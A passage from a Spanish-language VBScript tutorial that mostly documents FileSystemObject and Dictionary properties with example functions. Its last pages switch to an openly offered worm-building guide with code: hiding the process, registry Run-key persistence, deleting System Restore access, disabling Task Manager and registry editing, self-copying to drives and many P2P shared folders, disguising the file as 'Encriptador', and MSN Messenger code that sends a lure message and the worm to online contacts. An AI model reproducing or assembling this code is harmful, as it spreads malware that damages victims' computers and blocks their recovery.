El siguiente código muestra el uso de la propiedad Drive: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = f.Name & " on Drive " & UCase(f.Drive) & "<BR>" s = s & "Creado: " & f.DateCreated & "<BR>" s = s & "Último acceso: " & f.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function

Propiedad DriveLetterPropiedad DriveLetterPropiedad DriveLetterPropiedad DriveLetter

Descripción

Devuelve la letra de unidad de una unidad física local o de un recurso de red compartido. Sólo lectura.

Sintaxis

objeto.DriveLetter

objeto siempre es un objeto Drive.

Comentarios

La propiedad DriveLetter devuelve una cadena de longitud cero ("") si la unidad especificada no está asociada con una letra de unidad, por ejemplo, un recurso de red compatido que no se asignó a una letra de unidad.

Page 111: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 111

El siguiente código muestra el uso de la propiedad DriveLetter:

Function MostrarLetraDeUnidad(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Unidad " & d.DriveLetter & ": - " s = s & d.VolumeName & "<BR>" s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0) s = s & " Kbytes" MostrarLetraDeUnidad = s End Function

Propiedad DrivesPropiedad DrivesPropiedad DrivesPropiedad Drives

Descripción

Devuelve una colección Drives que consta de todos los objetos Drive disponibles en la máquina local.

Sintaxis

objeto.Drives

objeto siempre es un objeto FileSystemObject.

Comentarios

Las unidades de disco removibles no necesitan tener un disco insertado para que aparezcan en la colección Drives.

Puede iterar los miembros de la colección Drives mediante una instrucción For Each...Next como se muestra en el siguiente código:

Function MostrarListaDeUnidades Dim fso, d, dc, s, n Set fso = CreateObject("Scripting.FileSystemObject") Set dc = fso.Drives For Each d in dc n = "" s = s & d.DriveLetter & " - " If d.DriveType = 3 Then n = d.ShareName ElseIf d.IsReady Then n = d.VolumeName End If s = s & n & "<BR>" Next MostrarListaDeUnidades = s End Function

Propiedad DriveTypePropiedad DriveTypePropiedad DriveTypePropiedad DriveType

Descripción

Devuelve un valor que indica el tipo de una unidad especificada.

Sintaxis

objeto.DriveType

Page 112: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 112

objeto siempre es un objeto Drive.

Comentarios

El siguiente código muestra el uso de la propiedad DriveType: Function MostrarTipoDeUnidad(unidadruta) Dim fso, d, t Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(unidadruta) Select Case d.DriveType Case 0: t = "Desconocida" Case 1: t = "Removible" Case 2: t = "Fija" Case 3: t = "Red" Case 4: t = "CD ROM" Case 5: t = "Disco RAM" End Select MostrarTipoDeUnidad = "Unidad " & d.DriveLetter & ": - " & t End Function

Propiedad FilesPropiedad FilesPropiedad FilesPropiedad Files

Descripción

Devuelve una colección Files que consta de todos los objetos File contenidos en la carpeta especificada, incluidos los que tienen establecidos los atributos oculto y sistema.

Sintaxis

objeto.Files

objeto siempre es un objeto Folder.

Comentarios

El siguiente código muestra el uso de la propiedad Files: Function MostrarListaDeArchivos(especificaciondecarpeta) Dim fso, f, f1, fc, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) Set fc = f.Files For Each f1 in fc s = s & f1.name s = s & "<BR>" Next MostrarListaDeArchivos = s End Function

Propiedad FileSystemPropiedad FileSystemPropiedad FileSystemPropiedad FileSystem

Descripción

Devuelve el tipo de sistema de archivos que se está usando en la unidad especificada.

Sintaxis

objeto.FileSystem

Page 113: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 113

objeto siempre es un objeto Drive.

Comentarios

Los tipos devueltos disponibles son FAT, NTFS y CDFS.

El siguiente código muestra el uso de la propiedad FileSystem:

Function MostrarTipoDeSistemaDeArchivos(especificaciondeunidad) Dim fso,d Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(especificaciondeunidad) MostrarTipoDeSistemaDeArchivos = d.FileSystem End Function

Propiedad FreeSpacePropiedad FreeSpacePropiedad FreeSpacePropiedad FreeSpace

Descripción

Devuelve la cantidad de espacio disponible para el usuario en la unidad o recurso compartido de red especificado. Sólo lectura.

Sintaxis

objeto.FreeSpace

objeto siempre es un objeto Drive.

Comentarios

El valor devuelto por la propiedad FreeSpace normalmente es el mismo que el valor devuelto por la propiedad AvailableSpace. Pueden producirse diferencias entre los dos, en sistemas que admiten cuotas.

El siguiente código muestra el uso de la propiedad FreeSpace:

Function MostrarEspacioLibre(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Unidad " & UCase(unidadRuta) & " - " s = s & d.VolumeName & "<BR>" s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0) s = s & " Kbytes" MostrarEspacioLibre = s End Function

Propiedad IsReadyPropiedad IsReadyPropiedad IsReadyPropiedad IsReady

Descripción

Devuelve True si está lista la unidad especificada; en caso contrario, devuelve False.

Sintaxis

objeto.IsReady

objeto siempre es un objeto Drive.

Page 114: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 114

Comentarios

Para unidades de disco removible y unidades de CD-ROM, IsReady sólo devuelve True cuando el disco adecuado está insertado y listo para acceso.

El siguiente código muestra el uso de la propiedad IsReady:

Function MostrarInformacionDeUnidad(unidadruta) Dim fso, d, s, t Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(unidadruta) Select Case d.DriveType Case 0: t = "Desconocida" Case 1: t = "Removible" Case 2: t = "Fija" Case 3: t = "Red" Case 4: t = "CD-ROM" Case 5: t = "Disco RAM" End Select s = "Unidad " & d.DriveLetter & ": - " & t If d.IsReady Then s = s & "<BR>" & "Drive is Ready." Else s = s & "<BR>" & "Drive is not Ready." End If MostrarInformacionDeUnidad = s End Function

Propiedad IsRootFolderPropiedad IsRootFolderPropiedad IsRootFolderPropiedad IsRootFolder

Descripción

Devuelve True si la carpeta especificada es la carpeta raíz; en caso contrario devuelve False.

Sintaxis

objeto.IsRootFolder

objeto siempre es un objeto Folder.

Comentarios

El siguiente código muestra el uso de la propiedad IsRootFolder: Function MostrarNivelProfundidad(especificacionderuta) Dim fso, f, n Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificacionderuta) If f.IsRootFolder Then MostrarNivelProfundidad = "La carpeta especificada es la carpeta raíz." Else Do Until f.IsRootFolder Set f = f.ParentFolder n = n + 1 Loop MostrarNivelProfundidad = "La carpeta especificada está anidada " & n & " niveles." End If End Function

Propiedad ItemPropiedad ItemPropiedad ItemPropiedad Item

Page 115: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 115

Descripción

Establece o devuelve un elemento para una clave especificada en un objeto Dictionary. Para colecciones, devuelve un elemento basado en la clave especificada. Lectura y escritura.

Sintaxis

objeto.Item(clave) [= nuevoelemento]

La propiedad Item tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de una colección u objeto Dictionary .

clave Requerido. Clave asociada al elemento recuperado o agregado.

nuevoelemento Opcional. Sólo se usa para el objeto Dictionary ; no tiene aplicación para colecciones. Si se proporciona, nuevoelemento es el nuevo valor asociado a la clave especificada.

Comentarios

Si no se encuentra clave al cambiar un elemento, se crea una nueva clave con nuevoelemento especificado. Si no se encuentra clave al intentar devolver un elemento existente, se crea una nueva clave y su elemento correspondiente se deja vacío.

El siguiente ejemplo muestra el uso de la propiedad Item:

Function EjemploDeItem Dim d ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" EjemploDeItem = d.Item("c")' Obtiene el elemento. End Function

Propiedad KeyPropiedad KeyPropiedad KeyPropiedad Key

Descripción

Establece una clave en un objeto Dictionary.

Sintaxis

objeto.Key(clave) = nuevaclave

La propiedad Key tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto Dictionary .

clave Requerido. Valor de clave que se va a cambiar.

nuevaclave Requerido. Nuevo valor que reemplaza a la clave especificada.

Comentarios

Page 116: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 116

Si no se encuentra clave al cambiar una clave, se produce un error en tiempo de ejecución.

El siguiente ejemplo muestra el uso de la propiedad Key:

Function EjemploDeDic Dim d ' Crea algunas variables. Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos. d.Add "b", "Belgrado" d.Add "c", "Cairo" d.Key("c") = "d" ' Establece la clave para "c" como "d". EjemploDeDic = d.Item("d") ' Devuelve el elemento asociado. End Function

Propiedad LinePropiedad LinePropiedad LinePropiedad Line

Descripción

Propiedad de sólo lectura que devuelve el número de línea actual de un archivo TextStream.

Sintaxis

objeto.Line

objeto siempre es el nombre de un objeto TextStream.

Comentarios

Después de abrir un archivo y antes de escribir nada, Line es igual a 1.

El siguiente ejemplo muestra el uso de la propiedad Line:

Function ObtenerLinea Const ForReading = 1, ForWriting = 2 Dim fso, f, ra Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.Write "Hola mundo" & vbCrLf & "VB Script is fun!" & vbCrLf Set f = fso.OpenTextFile("c:\prueba.txt", ForReading) ra = f.ReadAll ObtenerLinea = f.Line End Function

Propiedad NamePropiedad NamePropiedad NamePropiedad Name

Descripción

Establece o devuelve el nombre de un archivo o carpeta especificados. Lectura y escritura.

Sintaxis

objeto.Name [= nuevonombre]

La propiedad Name tiene las siguientes partes:

Parte Descripción

Page 117: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 117

objeto Requerido. Siempre es el nombre de un objeto File o Folder

nuevonombre Opcional. Si se proporciona, nuevonombre es el nuevo nombre del objeto especificado.

Comentarios

El siguiente código muestra el uso de la propiedad Name: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = f.Name & " on Drive " & UCase(f.Drive) & "<BR>" s = s & "Creado: " & f.DateCreated & "<BR>" s = s & "Último acceso: " & f.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function

Propiedad NumberPropiedad NumberPropiedad NumberPropiedad Number

Descripción

Devuelve el objeto de carpeta para la carpeta principal del archivo o carpeta especificados. Sólo lectura.

Sintaxis

objeto.ParentFolder

objeto siempre es un objeto File o Folder.

Comentarios

El siguiente código muestra el uso de la propiedad ParentFolder con un archivo: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = UCase(f.Name) & " in " & UCase(f.ParentFolder) & "<BR>" s = s & "Creado: " & f.DateCreated & "<BR>" s = s & "Último acceso: " & f.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function

Propiedad PathPropiedad PathPropiedad PathPropiedad Path

Descripción

Devuelve la ruta para un archivo, carpeta o unidad especificados.

Sintaxis

objeto.Path

objeto siempre es un objeto File, Folder o Drive.

Comentarios

Page 118: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 118

Para letras de unidades, la unidad raíz no está incluida. Por ejemplo, la ruta para la unidad C es C:, no C:\.

El siguiente código muestra el uso de la propiedad Path con un objeto File:

Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, d, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = UCase(f.Path) & "<BR>" s = s & "Creado: " & f.DateCreated & "<BR>" s = s & "Último acceso: " & f.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function

Propiedad RootFolderPropiedad RootFolderPropiedad RootFolderPropiedad RootFolder

Descripción

Devuelve un objeto Folder que representa la carpeta raíz de una unidad especificada. Sólo lectura.

Sintaxis

objeto.RootFolder

objeto siempre es un objeto Drive.

Comentarios

Puede tener acceso a todos los archivos y carpetas contenidos en la unidad mediante el objeto Folder devuelto.

El siguiente ejemplo muestra el uso de la propiedad RootFolder:

Function MostrarCarpetaRaiz(especificaciondeunidad) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetDrive(especificaciondeunidad) MostrarCarpetaRaiz = f.RootFolder End Function

Propiedad SerialNumberPropiedad SerialNumberPropiedad SerialNumberPropiedad SerialNumber

Descripción

Devuelve el número de seria decimal que se usa para identificar de forma única un volumen de disco.

Sintaxis

objeto.SerialNumber

objeto siempre es un objeto Drive.

Comentarios

Page 119: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 119

Puede usar la propiedad SerialNumber para asegurarse de que está insertado el disco correcto en una unidad de discos removibles.

El siguiente código muestra el uso de la propiedad SerialNumber:

Function MostrarInformacionDeUnidad(unidadruta) Dim fso, d, s, t Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta))) Select Case d.DriveType Case 0: t = "Desconocida" Case 1: t = "Removible" Case 2: t = "Fija" Case 3: t = "Red" Case 4: t = "CD-ROM" Case 5: t = "Disco RAM" End Select s = "Unidad " & d.DriveLetter & ": - " & t s = s & "<BR>" & "SN: " & d.SerialNumber MostrarInformacionDeUnidad = s End Function

Propiedad ShareNamePropiedad ShareNamePropiedad ShareNamePropiedad ShareName

Descripción

Devuelve el nombre de recurso de red compartido para una unidad especificada.

Sintaxis

objeto.ShareName

objeto siempre es un objeto Drive.

Comentarios

Si objeto no es una unidad de red, la propiedad ShareName devuelve una cadena de longitud cero ("").

El siguiente código muestra el uso de la propiedad ShareName:

Function MostrarInformacionDeUnidad(unidadruta) Dim fso, d Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta))) MostrarInformacionDeUnidad = "Unidad " & d.DriveLetter & ": - " & d.ShareName End Function

Propiedad ShortNamePropiedad ShortNamePropiedad ShortNamePropiedad ShortName

Descripción

Devuelve el nombre corto usado por los programas que requieren la convención anterior de asignación de nombres 8.3.

Sintaxis

objeto.ShortName

Page 120: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 120

objeto siempre es un objeto File o Folder.

Comentarios

El siguiente código muestra el uso de la propiedad ShortName con un objeto File: Function MostrarNombreCorto(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = "El nombre corto de " & UCase(f.Name) & "<BR>" s = s & "es: " & f.ShortName MostrarNombreCorto = s End Function

Propiedad ShortPathPropiedad ShortPathPropiedad ShortPathPropiedad ShortPath

Descripción

Devuelve la ruta corta usada por programas que requieren la convención de asignación de nombres 8.3.

Sintaxis

objeto.ShortPath

objeto siempre es un objeto File o Folder.

Comentarios

El siguiente código muestra el uso de la propiedad ShortName con un objeto File: Function MostrarRutaCorta(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = "La ruta corta para " & UCase(f.Name) & "<BR>" s = s & "es: " & f.ShortPath MostrarRutaCorta = s End Function

Propiedad SizePropiedad SizePropiedad SizePropiedad Size

Descripción

Para archivos, devuelve el tamaño en bytes, del archivo especificado. Para carpetas, devuelve el tamaño en bytes, de todos los archivos y subcarpetas contenidos en la carpeta.

Sintaxis

objeto.Size

objeto siempre es un objeto File o Folder.

Comentarios

El siguiente código muestra el uso de la propiedad Size con un objeto Folder: Function MostrarTamanoDeCarpeta(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject")

Page 121: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 121

Set f = fso.GetFolder(especificaciondearchivo) s = UCase(f.Name) & " uses " & f.size & " bytes." MostrarTamanoDeCarpeta = s End Function

Propiedad SubFoldersPropiedad SubFoldersPropiedad SubFoldersPropiedad SubFolders

Descripción

Devuelve una colección Folders que consta de todas las carpetas contenidas en una carpeta especificada, incluidas las que tienen establecidos los atributos oculto y sistema.

Sintaxis

objeto.SubFolders

objeto siempre es un objeto Folder.

Comentarios

El siguiente código muestra el uso de la propiedad SubFolders: Function MostrarListaDeCarpetas(especificaciondecarpeta) Dim fso, f, f1, s, sf Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) Set sf = f.SubFolders For Each f1 in sf s = s & f1.name s = s & "<BR>" Next MostrarListaDeCarpetas = s End Function

Propiedad TotalSizePropiedad TotalSizePropiedad TotalSizePropiedad TotalSize

Descripción

Devuelve el espacio total en bytes, de una unidad o de un recurso compartido de red.

Sintaxis

objeto.TotalSize

objeto siempre es un objeto Drive.

Comentarios

El siguiente código muestra el uso de la propiedad TotalSize: Function MostrarInformacionDeEspacio(unidadruta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta))) s = "Drive " & d.DriveLetter & ":" s = s & vbCrLf s = s & "Tamaño total: " & FormatNumber(d.TotalSize/1024, 0) & " Kbytes" s = s & vbCrLf s = s & "Disponible: " & FormatNumber(d.AvailableSpace/1024, 0) & " Kbytes" MostrarInformacionDeEspacio = s

Page 122: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 122

End Function

Propiedad TypePropiedad TypePropiedad TypePropiedad Type

Descripción

Devuelve información acerca del tipo de un archivo o carpeta. Por ejemplo, para los archivos que terminan en .TXT, se devuelve "Documento de texto".

Sintaxis

objeto.Type objeto siempre es un objeto File o Folder.

Comentarios

El siguiente código muestra el uso de la propiedad Type para devolver un tipo de carpeta. En este ejemplo, intente proporcionar la ruta de la Papelera de reciclaje u otro identificador único de carpeta al procedimiento. Function MostrarTipoDeCarpeta(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondearchivo) s = UCase(f.Name) & " is a " & f.Type MostrarTipoDeCarpeta = s End Function

Propiedad VolumeNamePropiedad VolumeNamePropiedad VolumeNamePropiedad VolumeName

Descripción

Establece o devuelve el nombre de volumen de la unidad especificada. Lectura y escritura.

Sintaxis

objeto.VolumeName [= nuevonombre]

La propiedad VolumeName tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto Drive.

nuevonombre Opcional. Si se proporciona, nuevonombre es el nuevo nombre del objeto especificado.

Comentarios

El siguiente código muestra el uso de la propiedad VolumeName: Function MostrarInformacionDeVolumen(unidadruta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta))) s = "Unidad " & d.DriveLetter & ": - " & d.VolumeName MostrarInformacionDeVolumen = s End Function

Page 123: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 123

Gracias a: Hendrix, Novlucker, Nemlin, Override, Morusa. ''01'' Pase Desapercibido del Admiministrador. App.taskvisible=false; ''02'' Para que se ejecute en cada sesion, por medio de batch. Shell "cmd.exe /c comandodelMS-dos" ''03'' Guardar en el Registro. Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v NombreDeNuestroVirus /d RutaDeNuestroVirus.exe" ''=> Ejemplo de Nombres de Virus: Wind32dl, Systernloaded. C:\Windows <=> %SystemRoot% ''=> Nombres de Carpetas que no se puede crear: nul, aux. ''04'' Punto de Recuperacion se llama Restaurar Sistema. Es para que la victima no pueda eliminar el HD(Malware). kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk" ''05'' Eliminar su Administrador de Tareas(broma). Esto es para que salga un mensaje diciendo: El Administrador a desbloqueado esta opcion(o algo por el estilo). shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f" ''06'' Bloquear el Registro. Para wue le sea dificil desinfectar el Worm y la propia habilitacion del Administrador de Tareas. Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d ""1"" /f" ''07'' Buscar todos los HD(Discos Duros) y nos copiara(al Worm). Open "C:\Windows\System32\Winlog.bat" For Output As #1 Print #1, "@echo off" Print #1, "If exist D:\ (Copy /y %SystemRoot%\System32\WormKV77.exe D:\Worm.exe)" Print #1, "If exist E:\ (Copy /y c:\Windows\System32\WormKV77.exe E:\Worm.exe)" Print #1, "If exist F:\ (Copy /y c:\Windows\System32\WormKV77.exe F:\Worm.exe)" Print #1, "If exist G:\ (Copy /y c:\Windows\System32\WormKV77.exe G:\Worm.exe)" Print #1, "If exist X:\ (Copy /y c:\Windows\System32\WormKV77.exe X:\Worm.exe)" Print #1, "If exist Y:\ (Copy /y c:\Windows\System32\WormKV77.exe Y:\Worm.exe)" Print #1, "If exist Z:\ (Copy /y c:\Windows\System32\WormKV77.exe Z:\Worm.exe)" Print #1, "exit" ''08'' Si no supieramos donde esta el Worm. Filecopy App.Path & "\" & App.EXEname & ".exe" %SystemRoot%\System32\WormKV77.exe ''09'' Copiar el Worm en la carpeta System32. Luego crear un "Archivo de comprobación", si no existe el worm que lo ejecute. @echo off cls If exist %SystemRoot%\system32\WormKV77.exe (start WormKV77.exe goto fin) else (goto up) :up If exist C:\WormKV77.exe (start WormKV77.exe goto fin) else (goto up2) :up2 If exist D:\WormKV77.exe (start WormKV77.exe goto fin) else (goto up3) :up3 If exist E:\WormKV77.exe (start WormKV77.exe goto fin) else (goto up4) :up4 :Fin exit ''10'' Propagacion por P2P. Emule es Incoming, Kazaa es My Sheared folder, etc. Tambien el Worm se puede copiar unas 100 veces con nombres distintos. FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Grokster\My Grokster\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Morpheus\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\ICQ\shared files\WormKV77.exe"

Page 124: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 124

FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\KaZaA\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\KaZaA Lite\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\EDONKEY2000\incoming\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\eMule\Incoming\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Filetopia3\Files\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\appleJuice\incoming\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Gnucleus\Downloads\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\LimeWire\Shared\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Overnet\incoming\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Shareaza\Download\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\WinMX\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Tesla\Files\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\XoloX\Downloads\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Rapigator\Share\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\KMD\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\BearShare\Shared\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Direct Connect\Received Files\WormKV77.exe" ''11'' Para que el Worm sea capaz sea capaz de propagarse por P2P, utilizamos ResHack y luego ir a esta ruta: Version Info/1/3082. En la info escribimos esto: VALUE "CompanyName","KarlosVid" VALUE "ProductName","Encriptador" VALUE "FileVersion","1.00" VALUE "InternalName","Encriptador" VALUE "OriginalFilename","Encriptador.exe" ''=> Luego click en "Compile Script" y Despues click en File/Save As...(Guardar como). Lo guardamos como WormKV77.exe ''12'' Guardar en la disketera. Para que la disketera no empezara a sonar. FileCopy App.Path & App.EXEName & ".exe", "A:\WormKV77.exe" ''13'' Propagacion por MSN. 1.Crear o acceder al MSN, 2.Tomar la lista de contactos, 3.crear una ventana de chat(solo con los contactos conectados), 4.emviar un mensaje que intimide a descargarse el archivo, 5.eviar el archivo. On Error GoTo NotCompatible Set w = CreateObject("Messenger.UIAutomation") For Each ConTacto In w.MyContacts ''=> Recorremos todos nuestros contactos. If Contacto.Status = 2 Then ''=> Si el contacto esta OnLine. Set iMsn = w.InstantMessage(ConTacto.SigninName) ''=> Abrimos la ventana de Chat. Call SpamMsn(iMsn.hwnd) ''=> Esta función es la que hace el trabajo. Exit Sub End If Next NotCompatible: MsgBox "No tienes MSN instalado en el sistema",vbCritical, "Error" Private Sub SpamMsn(ByVal mHwnd) On Error Resume Next Dim i As Long, spam As String i = FindWindowEx(mHwnd, 0,"DirectUIHWND",vbNullString) ''=> Buscamos esa clase dentro de la ventana If i = 0 Then Exit Sub ''=> Si no es asi, nos vamos al carajo. Call SendText(i,"Hola, esto es un mensaje") ''=> Mensaje a emviar EnviarFile App.Path & "\" & App.EXEName & ".exe", i ''=> Archivo a emviar

End Sub

''=> Utilizando los APIs de Window GetForegroundWindow SetForegroundWindow ''=> Para escribir en la ventana de Chat y luego darle en el foco a la ventana. PostMessage ''=> Emviamos todo el mensaje.

Page 125: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 125

Public Sub SendText(pIMWindow As Long, sText As String) Dim hDirectUI As Long, hPrevWnd As Long Dim i As Integer hDirectUI = pIMWindow Do Call SetForegroundWindow(hDirectUI) Loop Until GetForegroundWindow = hDirectUI For i = 1 To Len(sText) Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText,i,1)),0&) Next i Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&) End Sub ''=> Emviando el archivo. ''=> El comando 40275 es para mandar un comando a la ventana padre del chat. ''=> hWmd es el handle de la ventana del chat. Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean Dim X As Long Dim Edit As Long Dim ParentHWnd As Long Dim hWndText As String Dim t As Single Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0) DoEvents X = GetWindow(GetDesktopWindow(), GW_CHILD) hWndText = fWindowText(X) t = Timer Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0) X = GetWindow(X, GW_HWNDNEXT) hWndText = fWindowText(X) If Format(Timer - t, "0.00") > 5 Then GoTo FIN Loop Edit = FindWindowEx(X, 0, "Edit", vbNullString) If Edit = 0 Then Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString) Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString) End If If Edit = 0 Then Exit Function Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath) Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&) EnviarFile = True FIN: End Function ''=> Declaraciones de Apis y Constantes utilizadas: Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Public Declare Function GetForegroundWindow Lib "user32" () As Long

Page 126: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 126

